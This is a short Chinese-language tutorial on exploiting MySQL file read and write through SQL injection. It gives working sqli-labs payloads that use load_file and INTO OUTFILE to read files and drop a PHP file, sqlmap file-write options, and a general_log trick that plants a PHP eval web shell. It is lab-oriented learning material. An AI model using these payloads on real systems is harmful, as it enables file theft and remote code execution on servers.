mysql讀寫文件


1、需要條件

secure_file_priv不為null

1、限制mysqld 不允許導入 | 導出
secure_file_priv=null或secure_file_priv

2、限制mysqld 的導入 | 導出 只能發生在/tmp/目錄下
secure_file_priv=/tmp/

3、不對mysqld 的導入 | 導出做限制
secure_file_priv=

具有高權限

1)讀文件

load_file("D:\flag\1.txt") #文件路徑需要轉義一下

http://127.0.0.7/sql/sqli-labs-master/Less-1/index.php?id=-1' union select 1,load_file("D:\\1.txt"),3%23

2)寫文件

into outfile "路徑"

http://127.0.0.7/sql/sqli-labs-master/Less-7/?id=-1')) union select 1,"<?php phpinfo();?>",3 into outfile "D:\\phpStudy\\WWW\\sql\\sqli-labs-master\\Less-7\\1.php"%23

3)sqlmap讀寫

--file-read "路徑"

--file-write "要寫入的內容或所在文件路徑" --file-dest "要寫入的路徑"

2、當secure_file_priv為NULL時的利用方法

set global general_log=on;set global general_log_file='C:/phpStudy/WWW/789.php';select '<?php eval($_POST['a']) ?>';


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM